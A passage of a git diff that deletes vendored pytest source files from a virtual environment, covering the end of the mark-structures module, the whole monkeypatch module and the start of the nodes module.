- PARAMETRIZE_NON_COLLECTION_ITERABLE.format( - nodeid=nodeid, - type_name=type(argvalues).__name__, - ), - stacklevel=3, - ) - - argnames, force_tuple = cls._parse_parametrize_args(argnames, argvalues) - parameters = cls._parse_parametrize_parameters(argvalues, force_tuple) - del argvalues - - if parameters: - # Check all parameter sets have the correct number of values. - for param in parameters: - if len(param.values) != len(argnames): - msg = ( - '{nodeid}: in "parametrize" the number of names ({names_len}):\n' - " {names}\n" - "must be equal to the number of values ({values_len}):\n" - " {values}" - ) - fail( - msg.format( - nodeid=nodeid, - values=param.values, - names=argnames, - names_len=len(argnames), - values_len=len(param.values), - ), - pytrace=False, - ) - else: - # Empty parameter set (likely computed at runtime): create a single - # parameter set with NOTSET values, with the "empty parameter set" mark applied to it. - mark = get_empty_parameterset_mark(config, argnames, func) - parameters.append( - ParameterSet( - values=(NOTSET,) * len(argnames), marks=[mark], id="NOTSET" - ) - ) - return argnames, parameters - - -@final -@dataclasses.dataclass(frozen=True) -class Mark: - """A pytest mark.""" - - #: Name of the mark. - name: str - #: Positional arguments of the mark decorator. - args: tuple[Any, ...] - #: Keyword arguments of the mark decorator. - kwargs: Mapping[str, Any] - - #: Source Mark for ids with parametrize Marks. - _param_ids_from: Mark | None = dataclasses.field(default=None, repr=False) - #: Resolved/generated ids with parametrize Marks. - _param_ids_generated: Sequence[str] | None = dataclasses.field( - default=None, repr=False - ) - - def __init__( - self, - name: str, - args: tuple[Any, ...], - kwargs: Mapping[str, Any], - param_ids_from: Mark | None = None, - param_ids_generated: Sequence[str] | None = None, - *, - _ispytest: bool = False, - ) -> None: - """:meta private:""" - check_ispytest(_ispytest) - # Weirdness to bypass frozen=True. - object.__setattr__(self, "name", name) - object.__setattr__(self, "args", args) - object.__setattr__(self, "kwargs", kwargs) - object.__setattr__(self, "_param_ids_from", param_ids_from) - object.__setattr__(self, "_param_ids_generated", param_ids_generated) - - def _has_param_ids(self) -> bool: - return "ids" in self.kwargs or len(self.args) >= 4 - - def combined_with(self, other: Mark) -> Mark: - """Return a new Mark which is a combination of this - Mark and another Mark. - - Combines by appending args and merging kwargs. - - :param Mark other: The mark to combine with. - :rtype: Mark - """ - assert self.name == other.name - - # Remember source of ids with parametrize Marks. - param_ids_from: Mark | None = None - if self.name == "parametrize": - if other._has_param_ids(): - param_ids_from = other - elif self._has_param_ids(): - param_ids_from = self - - return Mark( - self.name, - self.args + other.args, - dict(self.kwargs, **other.kwargs), - param_ids_from=param_ids_from, - _ispytest=True, - ) - - -# A generic parameter designating an object to which a Mark may -# be applied -- a test function (callable) or class. -# Note: a lambda is not allowed, but this can't be represented. -Markable = TypeVar("Markable", bound=Callable[..., object] | type) - - -@dataclasses.dataclass -class MarkDecorator: - """A decorator for applying a mark on test functions and classes. - - ``MarkDecorators`` are created with ``pytest.mark``:: - - mark1 = pytest.mark.NAME # Simple MarkDecorator - mark2 = pytest.mark.NAME(name1=value) # Parametrized MarkDecorator - - and can then be applied as decorators to test functions:: - - @mark2 - def test_function(): - pass - - When a ``MarkDecorator`` is called, it does the following: - - 1. If called with a single class as its only positional argument and no - additional keyword arguments, it attaches the mark to the class so it - gets applied automatically to all test cases found in that class. - - 2. If called with a single function as its only positional argument and - no additional keyword arguments, it attaches the mark to the function, - containing all the arguments already stored internally in the - ``MarkDecorator``. - - 3. When called in any other case, it returns a new ``MarkDecorator`` - instance with the original ``MarkDecorator``'s content updated with - the arguments passed to this call. - - Note: The rules above prevent a ``MarkDecorator`` from storing only a - single function or class reference as its positional argument with no - additional keyword or positional arguments. You can work around this by - using `with_args()`. - """ - - mark: Mark - - def __init__(self, mark: Mark, *, _ispytest: bool = False) -> None: - """:meta private:""" - check_ispytest(_ispytest) - self.mark = mark - - @property - def name(self) -> str: - """Alias for mark.name.""" - return self.mark.name - - @property - def args(self) -> tuple[Any, ...]: - """Alias for mark.args.""" - return self.mark.args - - @property - def kwargs(self) -> Mapping[str, Any]: - """Alias for mark.kwargs.""" - return self.mark.kwargs - - @property - def markname(self) -> str: - """:meta private:""" - return self.name # for backward-compat (2.4.1 had this attr) - - def with_args(self, *args: object, **kwargs: object) -> MarkDecorator: - """Return a MarkDecorator with extra arguments added. - - Unlike calling the MarkDecorator, with_args() can be used even - if the sole argument is a callable/class. - """ - mark = Mark(self.name, args, kwargs, _ispytest=True) - return MarkDecorator(self.mark.combined_with(mark), _ispytest=True) - - # Type ignored because the overloads overlap with an incompatible - # return type. Not much we can do about that. Thankfully mypy picks - # the first match so it works out even if we break the rules. - @overload - def __call__(self, arg: Markable) -> Markable: # type: ignore[overload-overlap] - pass - - @overload - def __call__(self, *args: object, **kwargs: object) -> MarkDecorator: - pass - - def __call__(self, *args: object, **kwargs: object): - """Call the MarkDecorator.""" - if args and not kwargs: - func = args[0] - is_class = inspect.isclass(func) - # For staticmethods/classmethods, the marks are eventually fetched from the - # function object, not the descriptor, so unwrap. - unwrapped_func = func - if isinstance(func, staticmethod | classmethod): - unwrapped_func = func.__func__ - if len(args) == 1 and (istestfunc(unwrapped_func) or is_class): - store_mark(unwrapped_func, self.mark) - return func - return self.with_args(*args, **kwargs) - - -def get_unpacked_marks( - obj: object | type, - *, - consider_mro: bool = True, -) -> list[Mark]: - """Obtain the unpacked marks that are stored on an object. - - If obj is a class and consider_mro is true, return marks applied to - this class and all of its super-classes in MRO order. If consider_mro - is false, only return marks applied directly to this class. - """ - if isinstance(obj, type): - if not consider_mro: - mark_lists = [obj.__dict__.get("pytestmark", [])] - else: - mark_lists = [ - x.__dict__.get("pytestmark", []) for x in reversed(obj.__mro__) - ] - mark_list = [] - for item in mark_lists: - if isinstance(item, list): - mark_list.extend(item) - else: - mark_list.append(item) - else: - mark_attribute = getattr(obj, "pytestmark", []) - if mark_attribute is None: - warnings.warn( - "Module defines a `__getattr__` which returns None for " - "'pytestmark' instead of raising AttributeError. " - "Make sure `__getattr__` raises AttributeError for " - "attributes it does not provide. " - "See https://github.com/pytest-dev/pytest/issues/8265", - PytestCollectionWarning, - stacklevel=2, - ) - mark_list = [] - elif isinstance(mark_attribute, list): - mark_list = mark_attribute - else: - mark_list = [mark_attribute] - return list(normalize_mark_list(mark_list)) - - -def normalize_mark_list( - mark_list: Iterable[Mark | MarkDecorator], -) -> Iterable[Mark]: - """ - Normalize an iterable of Mark or MarkDecorator objects into a list of marks - by retrieving the `mark` attribute on MarkDecorator instances. - - :param mark_list: marks to normalize - :returns: A new list of the extracted Mark objects - """ - for mark in mark_list: - mark_obj = getattr(mark, "mark", mark) - if not isinstance(mark_obj, Mark): - raise TypeError(f"got {mark_obj!r} instead of Mark") - yield mark_obj - - -def store_mark(obj, mark: Mark) -> None: - """Store a Mark on an object. - - This is used to implement the Mark declarations/decorators correctly. - """ - assert isinstance(mark, Mark), mark - - from ..fixtures import getfixturemarker - - if getfixturemarker(obj) is not None: - fail( - "Marks cannot be applied to fixtures.\n" - "See docs: https://docs.pytest.org/en/stable/deprecations.html#applying-a-mark-to-a-fixture-function" - ) - - # Always reassign name to avoid updating pytestmark in a reference that - # was only borrowed. - obj.pytestmark = [*get_unpacked_marks(obj, consider_mro=False), mark] - - -# Typing for builtin pytest marks. This is cheating; it gives builtin marks -# special privilege, and breaks modularity. But practicality beats purity... -if TYPE_CHECKING: - - class _SkipMarkDecorator(MarkDecorator): - @overload # type: ignore[override,no-overload-impl] - def __call__(self, arg: Markable) -> Markable: ... - - @overload - def __call__(self, reason: str = ...) -> MarkDecorator: ... - - class _SkipifMarkDecorator(MarkDecorator): - def __call__( # type: ignore[override] - self, - condition: str | bool = ..., - *conditions: str | bool, - reason: str = ..., - ) -> MarkDecorator: ... - - class _XfailMarkDecorator(MarkDecorator): - @overload # type: ignore[override,no-overload-impl] - def __call__(self, arg: Markable) -> Markable: ... - - @overload - def __call__( - self, - condition: str | bool = True, - *conditions: str | bool, - reason: str = ..., - run: bool = ..., - raises: None - | type[BaseException] - | tuple[type[BaseException], ...] - | AbstractRaises[BaseException] = ..., - strict: bool = ..., - ) -> MarkDecorator: ... - - class _ParametrizeMarkDecorator(MarkDecorator): - def __call__( # type: ignore[override] - self, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - # TODO(pytest10): Change to below after PARAMETRIZE_NON_COLLECTION_ITERABLE deprecation. - # Overload doesn't work, see #14606. - # argvalues: Collection[ParameterSet | Sequence[object] | object], - *, - indirect: bool | Sequence[str] = ..., - ids: Iterable[None | str | float | int | bool | _HiddenParam] - | Callable[[Any], object | None] - | None = ..., - scope: ScopeName | None = ..., - ) -> MarkDecorator: ... - - class _UsefixturesMarkDecorator(MarkDecorator): - def __call__(self, *fixtures: str) -> MarkDecorator: # type: ignore[override] - ... - - class _FilterwarningsMarkDecorator(MarkDecorator): - def __call__(self, *filters: str) -> MarkDecorator: # type: ignore[override] - ... - - -@final -class MarkGenerator: - """Factory for :class:`MarkDecorator` objects - exposed as - a ``pytest.mark`` singleton instance. - - Example:: - - import pytest - - - @pytest.mark.slowtest - def test_function(): - pass - - applies a 'slowtest' :class:`Mark` on ``test_function``. - """ - - # See TYPE_CHECKING above. - if TYPE_CHECKING: - skip: _SkipMarkDecorator - skipif: _SkipifMarkDecorator - xfail: _XfailMarkDecorator - parametrize: _ParametrizeMarkDecorator - usefixtures: _UsefixturesMarkDecorator - filterwarnings: _FilterwarningsMarkDecorator - - def __init__(self, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._config: Config | None = None - self._markers: set[str] = set() - - def __getattr__(self, name: str) -> MarkDecorator: - """Generate a new :class:`MarkDecorator` with the given name.""" - if name[0] == "_": - raise AttributeError("Marker name must NOT start with underscore") - - if self._config is not None: - # We store a set of markers as a performance optimisation - if a mark - # name is in the set we definitely know it, but a mark may be known and - # not in the set. We therefore start by updating the set! - if name not in self._markers: - for line in self._config.getini("markers"): - # example lines: "skipif(condition): skip the given test if..." - # or "hypothesis: tests which use Hypothesis", so to get the - # marker name we split on both `:` and `(`. - marker = line.split(":")[0].split("(")[0].strip() - self._markers.add(marker) - - # If the name is not in the set of known marks after updating, - # then it really is time to issue a warning or an error. - if name not in self._markers: - # Raise a specific error for common misspellings of "parametrize". - if name in ["parameterize", "parametrise", "parameterise"]: - __tracebackhide__ = True - fail(f"Unknown '{name}' mark, did you mean 'parametrize'?") - - strict_markers = self._config.getini("strict_markers") - if strict_markers is None: - strict_markers = self._config.getini("strict") - if strict_markers: - fail( - f"{name!r} not found in `markers` configuration option", - pytrace=False, - ) - - warnings.warn( - f"Unknown pytest.mark.{name} - is this a typo? You can register " - "custom marks to avoid this warning - for details, see " - "https://docs.pytest.org/en/stable/how-to/mark.html", - PytestUnknownMarkWarning, - 2, - ) - - return MarkDecorator(Mark(name, (), {}, _ispytest=True), _ispytest=True) - - -MARK_GEN = MarkGenerator(_ispytest=True) - - -@final -class NodeKeywords(MutableMapping[str, Any]): - __slots__ = ("_markers", "node", "parent") - - def __init__(self, node: Node) -> None: - self.node = node - self.parent = node.parent - self._markers = {node.name: True} - - def __getitem__(self, key: str) -> Any: - try: - return self._markers[key] - except KeyError: - if self.parent is None: - raise - return self.parent.keywords[key] - - def __setitem__(self, key: str, value: Any) -> None: - self._markers[key] = value - - # Note: we could've avoided explicitly implementing some of the methods - # below and use the collections.abc fallback, but that would be slow. - - def __contains__(self, key: object) -> bool: - return key in self._markers or ( - self.parent is not None and key in self.parent.keywords - ) - - def update( # type: ignore[override] - self, - other: Mapping[str, Any] | Iterable[tuple[str, Any]] = (), - **kwds: Any, - ) -> None: - self._markers.update(other) - self._markers.update(kwds) - - def __delitem__(self, key: str) -> None: - raise ValueError("cannot delete key in keywords dict") - - def __iter__(self) -> Iterator[str]: - # Doesn't need to be fast. - yield from self._markers - if self.parent is not None: - for keyword in self.parent.keywords: - # self._marks and self.parent.keywords can have duplicates. - if keyword not in self._markers: - yield keyword - - def __len__(self) -> int: - # Doesn't need to be fast. - return sum(1 for keyword in self) - - def __repr__(self) -> str: - return f"" diff --git a/venv/Lib/site-packages/_pytest/monkeypatch.py b/venv/Lib/site-packages/_pytest/monkeypatch.py deleted file mode 100644 index d6db72455a8acde3c4cb94ca58a6deff40b78ce2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/monkeypatch.py +++ /dev/null @@ -1,430 +0,0 @@ -# mypy: allow-untyped-defs -"""Monkeypatching and mocking functionality.""" - -from __future__ import annotations - -from collections.abc import Generator -from collections.abc import Mapping -from collections.abc import MutableMapping -from contextlib import contextmanager -import importlib -import os -from pathlib import Path -import re -import sys -from typing import Any -from typing import final -from typing import overload -from typing import TypeVar -import warnings - -from _pytest.compat import NOTSET -from _pytest.compat import NotSetType -from _pytest.deprecated import MONKEYPATCH_LEGACY_NAMESPACE_PACKAGES -from _pytest.fixtures import fixture -from _pytest.warning_types import PytestWarning - - -RE_IMPORT_ERROR_NAME = re.compile(r"^No module named (.*)$") - - -K = TypeVar("K") -V = TypeVar("V") - - -@fixture -def monkeypatch() -> Generator[MonkeyPatch]: - """A convenient fixture for monkey-patching. - - The fixture provides these methods to modify objects, dictionaries, or - :data:`os.environ`: - - * :meth:`monkeypatch.setattr(obj, name, value, raising=True) ` - * :meth:`monkeypatch.delattr(obj, name, raising=True) ` - * :meth:`monkeypatch.setitem(mapping, name, value) ` - * :meth:`monkeypatch.delitem(obj, name, raising=True) ` - * :meth:`monkeypatch.setenv(name, value, prepend=None) ` - * :meth:`monkeypatch.delenv(name, raising=True) ` - * :meth:`monkeypatch.syspath_prepend(path) ` - * :meth:`monkeypatch.chdir(path) ` - * :meth:`monkeypatch.context() ` - - All modifications will be undone after the requesting test function or - fixture has finished. The ``raising`` parameter determines if a :class:`KeyError` - or :class:`AttributeError` will be raised if the set/deletion operation does not have the - specified target. - - To undo modifications done by the fixture in a contained scope, - use :meth:`context() `. - """ - mpatch = MonkeyPatch() - yield mpatch - mpatch.undo() - - -def resolve(name: str) -> object: - # Simplified from zope.dottedname. - parts = name.split(".") - - used = parts.pop(0) - found: object = importlib.import_module(used) - for part in parts: - used += "." + part - try: - found = getattr(found, part) - except AttributeError: - pass - else: - continue - # We use explicit un-nesting of the handling block in order - # to avoid nested exceptions. - try: - importlib.import_module(used) - except ImportError as ex: - expected = str(ex).split()[-1] - if expected == used: - raise - else: - raise ImportError(f"import error in {used}: {ex}") from ex - found = annotated_getattr(found, part, used) - return found - - -def annotated_getattr(obj: object, name: str, ann: str) -> object: - try: - obj = getattr(obj, name) - except AttributeError as e: - raise AttributeError( - f"{type(obj).__name__!r} object at {ann} has no attribute {name!r}" - ) from e - return obj - - -def derive_importpath(import_path: str, raising: bool) -> tuple[str, object]: - if not isinstance(import_path, str) or "." not in import_path: - raise TypeError(f"must be absolute import path string, not {import_path!r}") - module, attr = import_path.rsplit(".", 1) - target = resolve(module) - if raising: - annotated_getattr(target, attr, ann=module) - return attr, target - - -@final -class MonkeyPatch: - """Helper to conveniently monkeypatch attributes/items/environment - variables/syspath. - - Returned by the :fixture:`monkeypatch` fixture. - - .. versionchanged:: 6.2 - Can now also be used directly as `pytest.MonkeyPatch()`, for when - the fixture is not available. In this case, use - :meth:`with MonkeyPatch.context() as mp: ` or remember to call - :meth:`undo` explicitly. - """ - - def __init__(self) -> None: - self._setattr: list[tuple[object, str, object]] = [] - self._setitem: list[tuple[Mapping[Any, Any], object, object]] = [] - self._cwd: str | None = None - self._savesyspath: list[str] | None = None - - @classmethod - @contextmanager - def context(cls) -> Generator[MonkeyPatch]: - """Context manager that returns a new :class:`MonkeyPatch` object - which undoes any patching done inside the ``with`` block upon exit. - - Example: - - .. code-block:: python - - import functools - - - def test_partial(monkeypatch): - with monkeypatch.context() as m: - m.setattr(functools, "partial", 3) - - Useful in situations where it is desired to undo some patches before the test ends, - such as mocking ``stdlib`` functions that might break pytest itself if mocked (for examples - of this see :issue:`3290`). - """ - m = cls() - try: - yield m - finally: - m.undo() - - @overload - def setattr( - self, - target: str, - name: object, - value: NotSetType = ..., - raising: bool = ..., - ) -> None: ... - - @overload - def setattr( - self, - target: object, - name: str, - value: object, - raising: bool = ..., - ) -> None: ... - - def setattr( - self, - target: str | object, - name: object | str, - value: object = NOTSET, - raising: bool = True, - ) -> None: - """ - Set attribute value on target, memorizing the old value. - - For example: - - .. code-block:: python - - import os - - monkeypatch.setattr(os, "getcwd", lambda: "/") - - The code above replaces the :func:`os.getcwd` function by a ``lambda`` which - always returns ``"/"``. - - For convenience, you can specify a string as ``target`` which - will be interpreted as a dotted import path, with the last part - being the attribute name: - - .. code-block:: python - - monkeypatch.setattr("os.getcwd", lambda: "/") - - Raises :class:`AttributeError` if the attribute does not exist, unless - ``raising`` is set to False. - - **Where to patch** - - ``monkeypatch.setattr`` works by (temporarily) changing the object that a name points to with another one. - There can be many names pointing to any individual object, so for patching to work you must ensure - that you patch the name used by the system under test. - - See the section :ref:`Where to patch ` in the :mod:`unittest.mock` - docs for a complete explanation, which is meant for :func:`unittest.mock.patch` but - applies to ``monkeypatch.setattr`` as well. - """ - __tracebackhide__ = True - import inspect - - if value is NOTSET: - if not isinstance(target, str): - raise TypeError( - "use setattr(target, name, value) or " - "setattr(target, value) with target being a dotted " - "import string" - ) - value = name - name, target = derive_importpath(target, raising) - else: - if not isinstance(name, str): - raise TypeError( - "use setattr(target, name, value) with name being a string or " - "setattr(target, value) with target being a dotted " - "import string" - ) - - oldval = getattr(target, name, NOTSET) - if raising and oldval is NOTSET: - raise AttributeError(f"{target!r} has no attribute {name!r}") - - # avoid class descriptors like staticmethod/classmethod - if inspect.isclass(target): - oldval = target.__dict__.get(name, NOTSET) - setattr(target, name, value) - self._setattr.append((target, name, oldval)) - - def delattr( - self, - target: object | str, - name: str | NotSetType = NOTSET, - raising: bool = True, - ) -> None: - """Delete attribute ``name`` from ``target``. - - If no ``name`` is specified and ``target`` is a string - it will be interpreted as a dotted import path with the - last part being the attribute name. - - Raises AttributeError it the attribute does not exist, unless - ``raising`` is set to False. - """ - __tracebackhide__ = True - import inspect - - if name is NOTSET: - if not isinstance(target, str): - raise TypeError( - "use delattr(target, name) or " - "delattr(target) with target being a dotted " - "import string" - ) - name, target = derive_importpath(target, raising) - - if not hasattr(target, name): - if raising: - raise AttributeError(name) - else: - oldval = getattr(target, name, NOTSET) - # Avoid class descriptors like staticmethod/classmethod. - if inspect.isclass(target): - oldval = target.__dict__.get(name, NOTSET) - self._setattr.append((target, name, oldval)) - delattr(target, name) - - def setitem(self, dic: Mapping[K, V], name: K, value: V) -> None: - """Set dictionary entry ``name`` to value.""" - self._setitem.append((dic, name, dic.get(name, NOTSET))) - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - dic[name] = value # type: ignore[index] - - def delitem(self, dic: Mapping[K, V], name: K, raising: bool = True) -> None: - """Delete ``name`` from dict. - - Raises ``KeyError`` if it doesn't exist, unless ``raising`` is set to - False. - """ - if name not in dic: - if raising: - raise KeyError(name) - else: - self._setitem.append((dic, name, dic.get(name, NOTSET))) - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - del dic[name] # type: ignore[attr-defined] - - def setenv(self, name: str, value: str, prepend: str | None = None) -> None: - """Set environment variable ``name`` to ``value``. - - If ``prepend`` is a character, read the current environment variable - value and prepend the ``value`` adjoined with the ``prepend`` - character. - """ - if not isinstance(value, str): - warnings.warn( # type: ignore[unreachable] - PytestWarning( - f"Value of environment variable {name} type should be str, but got " - f"{value!r} (type: {type(value).__name__}); converted to str implicitly" - ), - stacklevel=2, - ) - value = str(value) - if prepend and name in os.environ: - value = value + prepend + os.environ[name] - self.setitem(os.environ, name, value) - - def delenv(self, name: str, raising: bool = True) -> None: - """Delete ``name`` from the environment. - - Raises ``KeyError`` if it does not exist, unless ``raising`` is set to - False. - """ - environ: MutableMapping[str, str] = os.environ - self.delitem(environ, name, raising=raising) - - def syspath_prepend(self, path) -> None: - """Prepend ``path`` to ``sys.path`` list of import locations.""" - if self._savesyspath is None: - self._savesyspath = sys.path[:] - sys.path.insert(0, str(path)) - - # https://github.com/pypa/setuptools/blob/d8b901bc/docs/pkg_resources.txt#L162-L171 - # this is only needed when pkg_resources was already loaded by the namespace package - if "pkg_resources" in sys.modules: - import pkg_resources - from pkg_resources import fixup_namespace_packages - - # Only issue deprecation warning if this call would actually have an - # effect for this specific path. - if ( - hasattr(pkg_resources, "_namespace_packages") - and pkg_resources._namespace_packages - ): - path_obj = Path(str(path)) - for ns_pkg in pkg_resources._namespace_packages: - if ns_pkg is None: - continue - ns_pkg_path = path_obj / ns_pkg.replace(".", os.sep) - if ns_pkg_path.is_dir(): - warnings.warn( - MONKEYPATCH_LEGACY_NAMESPACE_PACKAGES, stacklevel=2 - ) - break - - fixup_namespace_packages(str(path)) - - # A call to syspathinsert() usually means that the caller wants to - # import some dynamically created files, thus with python3 we - # invalidate its import caches. - # This is especially important when any namespace package is in use, - # since then the mtime based FileFinder cache (that gets created in - # this case already) gets not invalidated when writing the new files - # quickly afterwards. - from importlib import invalidate_caches - - invalidate_caches() - - def chdir(self, path: str | os.PathLike[str]) -> None: - """Change the current working directory to the specified path. - - :param path: - The path to change into. - """ - if self._cwd is None: - self._cwd = os.getcwd() - os.chdir(path) - - def undo(self) -> None: - """Undo previous changes. - - This call consumes the undo stack. Calling it a second time has no - effect unless you do more monkeypatching after the undo call. - - There is generally no need to call `undo()`, since it is - called automatically during tear-down. - - .. note:: - The same `monkeypatch` fixture is used across a - single test function invocation. If `monkeypatch` is used both by - the test function itself and one of the test fixtures, - calling `undo()` will undo all of the changes made in - both functions. - - Prefer to use :meth:`context() ` instead. - """ - for obj, name, value in reversed(self._setattr): - if value is not NOTSET: - setattr(obj, name, value) - else: - delattr(obj, name) - self._setattr[:] = [] - for dictionary, key, value in reversed(self._setitem): - if value is NOTSET: - try: - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - del dictionary[key] # type: ignore[attr-defined] - except KeyError: - pass # Was already deleted, so we have the desired state. - else: - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - dictionary[key] = value # type: ignore[index] - self._setitem[:] = [] - if self._savesyspath is not None: - sys.path[:] = self._savesyspath - self._savesyspath = None - - if self._cwd is not None: - os.chdir(self._cwd) - self._cwd = None diff --git a/venv/Lib/site-packages/_pytest/nodes.py b/venv/Lib/site-packages/_pytest/nodes.py deleted file mode 100644 index f0629c2daf76c0b35e86868d4406f421d2d7eb69..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/nodes.py +++ /dev/null @@ -1,764 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import abc -from collections.abc import Callable -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import MutableMapping -from functools import cached_property -from functools import lru_cache -import os -import pathlib -from pathlib import Path -from typing import Any -from typing import cast -from typing import NoReturn -from typing import overload -from typing import TYPE_CHECKING -from typing import TypeVar -import warnings - -import pluggy - -import _pytest._code -from _pytest._code import getfslineno -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest._code.code import Traceback -from _pytest._code.code import TracebackStyle -from _pytest.compat import LEGACY_PATH -from _pytest.compat import signature -from _pytest.config import Config -from _pytest.config import ConftestImportFailure -from _pytest.mark.structures import Mark -from _pytest.mark.structures import MarkDecorator -from _pytest.mark.structures import NodeKeywords -from _pytest.outcomes import fail -from _pytest.pathlib import absolutepath -from _pytest.stash import Stash -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - from typing_extensions import Self - - # Imported here due to circular import. - from _pytest.main import Session - - -SEP = "/" - - -def norm_sep(path: str | os.PathLike[str]) -> str: - """Normalize path separators to forward slashes for nodeid compatibility. - - Replaces backslashes with forward slashes. This handles both Windows native - paths and cross-platform data (e.g., Windows paths in serialized test reports - when running on Linux). - - :param path: A path string or PathLike object. - :returns: String with all backslashes replaced by forward slashes. - """ - return os.fspath(path).replace("\\", SEP) - - -tracebackcutdir = Path(_pytest.__file__).parent - - -_T = TypeVar("_T") - - -_NodeType = TypeVar("_NodeType", bound="Node") - - -class NodeMeta(abc.ABCMeta): - """Metaclass used by :class:`Node` to enforce that direct construction raises - :class:`Failed`. - - This behaviour supports the indirection introduced with :meth:`Node.from_parent`, - the named constructor to be used instead of direct construction. The design - decision to enforce indirection with :class:`NodeMeta` was made as a - temporary aid for refactoring the collection tree, which was diagnosed to - have :class:`Node` objects whose creational patterns were overly entangled. - Once the refactoring is complete, this metaclass can be removed. - - See https://github.com/pytest-dev/pytest/projects/3 for an overview of the - progress on detangling the :class:`Node` classes. - """ - - def __call__(cls, *k, **kw) -> NoReturn: - msg = ( - "Direct construction of {name} has been deprecated, please use {name}.from_parent.\n" - "See " - "https://docs.pytest.org/en/stable/deprecations.html#node-construction-changed-to-node-from-parent" - " for more details." - ).format(name=f"{cls.__module__}.{cls.__name__}") - fail(msg, pytrace=False) - - def _create(cls: type[_T], *k, **kw) -> _T: - try: - return super().__call__(*k, **kw) # type: ignore[no-any-return,misc] - except TypeError: - sig = signature(getattr(cls, "__init__")) - known_kw = {k: v for k, v in kw.items() if k in sig.parameters} - from .warning_types import PytestDeprecationWarning - - warnings.warn( - PytestDeprecationWarning( - f"{cls} is not using a cooperative constructor and only takes {set(known_kw)}.\n" - "See https://docs.pytest.org/en/stable/deprecations.html" - "#constructors-of-custom-pytest-node-subclasses-should-take-kwargs " - "for more details." - ) - ) - - return super().__call__(*k, **known_kw) # type: ignore[no-any-return,misc] - - -class Node(abc.ABC, metaclass=NodeMeta): - r"""Base class of :class:`Collector` and :class:`Item`, the components of - the test collection tree. - - ``Collector``\'s are the internal nodes of the tree, and ``Item``\'s are the - leaf nodes. - """ - - # Implemented in the legacypath plugin. - #: A ``LEGACY_PATH`` copy of the :attr:`path` attribute. Intended for usage - #: for methods not migrated to ``pathlib.Path`` yet, such as - #: :meth:`Item.reportinfo `. Will be deprecated in - #: a future release, prefer using :attr:`path` instead. - fspath: LEGACY_PATH - - # Use __slots__ to make attribute access faster. - # Note that __dict__ is still available. - __slots__ = ( - "__dict__", - "_nodeid", - "_store", - "config", - "name", - "parent", - "path", - "session", - ) - - def __init__( - self, - name: str, - parent: Node | None = None, - config: Config | None = None, - session: Session | None = None, - fspath: None = None, - path: Path | None = None, - nodeid: str | None = None, - ) -> None: - #: A unique name within the scope of the parent node. - self.name: str = name - - #: The parent collector node. - self.parent = parent - - if config: - #: The pytest config object. - self.config: Config = config - else: - if not parent: - raise TypeError("config or parent must be provided") - self.config = parent.config - - if session: - #: The pytest session this node is part of. - self.session: Session = session - else: - if not parent: - raise TypeError("session or parent must be provided") - self.session = parent.session - - if path is None: - assert parent is not None - path = parent.path - #: Filesystem path where this node was collected from. - self.path: pathlib.Path = path - - # The explicit annotation is to avoid publicly exposing NodeKeywords. - #: Keywords/markers collected from all scopes. - self.keywords: MutableMapping[str, Any] = NodeKeywords(self) - - #: The marker objects belonging to this node. - self.own_markers: list[Mark] = [] - - #: Allow adding of extra keywords to use for matching. - self.extra_keyword_matches: set[str] = set() - - if nodeid is not None: - assert "::()" not in nodeid - self._nodeid = nodeid - else: - if not self.parent: - raise TypeError("nodeid or parent must be provided") - self._nodeid = self.parent.nodeid + "::" + self.name - - #: A place where plugins can store information on the node for their - #: own use. - self.stash: Stash = Stash() - # Deprecated alias. Was never public. Can be removed in a few releases. - self._store = self.stash - - @classmethod - def from_parent(cls, parent: Node, **kw) -> Self: - """Public constructor for Nodes. - - This indirection got introduced in order to enable removing - the fragile logic from the node constructors. - - Subclasses can use ``super().from_parent(...)`` when overriding the - construction. - - :param parent: The parent node of this Node. - """ - if "config" in kw: - raise TypeError("config is not a valid argument for from_parent") - if "session" in kw: - raise TypeError("session is not a valid argument for from_parent") - return cls._create(parent=parent, **kw) - - @property - def ihook(self) -> pluggy.HookRelay: - """Path-sensitive hook proxy used to call pytest hooks.""" - return self.session.gethookproxy(self.path) - - def __repr__(self) -> str: - return "<{} {}>".format(self.__class__.__name__, getattr(self, "name", None)) - - def warn(self, warning: Warning) -> None: - """Issue a warning for this Node. - - Warnings will be displayed after the test session, unless explicitly suppressed. - - :param Warning warning: - The warning instance to issue. - - :raises ValueError: If ``warning`` instance is not a subclass of Warning. - - Example usage: - - .. code-block:: python - - node.warn(PytestWarning("some message")) - node.warn(UserWarning("some message")) - - .. versionchanged:: 6.2 - Any subclass of :class:`Warning` is now accepted, rather than only - :class:`PytestWarning ` subclasses. - """ - # enforce type checks here to avoid getting a generic type error later otherwise. - if not isinstance(warning, Warning): - raise ValueError( - f"warning must be an instance of Warning or subclass, got {warning!r}" - ) - path, lineno = get_fslocation_from_item(self) - assert lineno is not None - warnings.warn_explicit( - warning, - category=None, - filename=str(path), - lineno=lineno + 1, - ) - - # Methods for ordering nodes. - - @property - def nodeid(self) -> str: - """A ::-separated string denoting its collection tree address.""" - return self._nodeid - - def __hash__(self) -> int: - return hash(self._nodeid) - - def setup(self) -> None: - pass - - def teardown(self) -> None: - pass - - def iter_parents(self) -> Iterator[Node]: - """Iterate over all parent collectors starting from and including self - up to the root of the collection tree. - - .. versionadded:: 8.1 - """ - parent: Node | None = self - while parent is not None: - yield parent - parent = parent.parent - - def listchain(self) -> list[Node]: - """Return a list of all parent collectors starting from the root of the - collection tree down to and including self.""" - chain = [] - item: Node | None = self - while item is not None: - chain.append(item) - item = item.parent - chain.reverse() - return chain - - def add_marker(self, marker: str | MarkDecorator, append: bool = True) -> None: - """Dynamically add a marker object to the node. - - :param marker: - The marker. - :param append: - Whether to append the marker, or prepend it. - """ - from _pytest.mark import MARK_GEN - - if isinstance(marker, MarkDecorator): - marker_ = marker - elif isinstance(marker, str): - marker_ = getattr(MARK_GEN, marker) - else: - raise ValueError("is not a string or pytest.mark.* Marker") 